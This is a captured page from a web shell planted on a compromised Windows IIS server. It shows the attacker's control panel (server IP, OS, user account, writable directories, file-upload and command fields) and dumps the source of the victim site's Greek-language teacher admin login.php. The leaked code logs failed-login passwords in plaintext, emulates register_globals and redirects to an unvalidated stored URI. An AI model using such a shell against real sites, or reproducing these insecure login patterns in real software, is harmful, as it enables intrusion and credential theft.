403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Civil/teachers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Civil/teachers/login.php
<?
session_start();

require_once('../includes/DbConnector.php');
require_once("includes/UserSession.php");

$connector = new DbConnector;
$session = new UserSession($connector);

require_once("../includes/RegisterGlobals.php");

if (isset($login))
{
		if ($session->login($username, $password))
		{
			$session->insertlog("Σύνδεση στο Back-end σύστημα Καθηγητών του χρήστη ".$_SESSION["cms_fullname"]." (".$_SESSION["cms_username"].")");

			if (isset($_SESSION['cms_request_uri']))
				$redirect_page = $_SESSION['cms_request_uri'];
			else
				$redirect_page = "index.php";
			
			header('Location: '.$redirect_page); //if they successfully log in then send them to the url they requested which is something I have set in the header
			exit;
		}
		else
		{
			$session->insertlog("Αποτυχημένη προσπάθεια σύνδεσης στο Back-end σύστημα Καθηγητών με Username: $username και Password: $password");

			$login_error = true;
		}
}
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<title><?=$_SESSION['cms_site_title']?> - Πίνακας Διαχείρισης</title>
	<script type="text/javascript" src="../control/js/jquery.min.js"></script>
	<script type="text/javascript" src="../control/js/jquery-ui.custom.min.js"></script>
	<script type="text/javascript" src="../control/js/jquery.ui.datepicker-el.js"></script>
	<link type="text/css" rel="stylesheet" href="js/jquery-ui/css/smoothness/jquery-ui.custom.css" />	
	<link type="text/css" href="../control/style.css" rel="stylesheet" />
	<script type="text/javascript" src="../control/js/scroll-sneak.js"></script>
	<script type="text/javascript" src="../control/js/control.js"></script>
	<?
	if (isset($edit_type))
		echo '<script type="text/javascript" src="../control/ckeditor/ckeditor.js"></script>';
	?>
</head>

<body onload="javascript:document.loginform.username.focus();">
<div id="container">
	<div id="header">
		<h1><?=$_SESSION['cms_site_title']?></h1>
		<h2>ΠΙΝΑΚΑΣ ΔΙΑΧΕΙΡΙΣΗΣ ΚΑΘΗΓΗΤΩΝ</h2>
	</div>
	<div id="userinfo"></div>
	<div id="content">
			<? 
				if ($login_error)
					echo '<div class="notification error"><div>Το όνομα χρήστη ή ο κωδικός ήταν λανθασμένος!</div></div>';
			?>
		<div id="userlogin">
			<p>Δώστε τα στοιχεία σύνδεσης στον Πίνακα Διαχείρισης (ίδια με του egram ή του email σας στο ΤΕΙ):</p>			
			<form method="post" action="<?=$pagename?>" name="loginform" id="loginform">
				<div><label for="username">Όνομα χρήστη:</label><input type='text' name='username' id="username"></div>
				<div><label for="password">Κωδικός:</label><input type='password' name='password' id="password"></div>
				<div><input type='submit' value='Είσοδος' name='login' class="button"></div>
			</form>
		</div>
	</div>	<!-- content -->
</div>	<!-- container -->

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit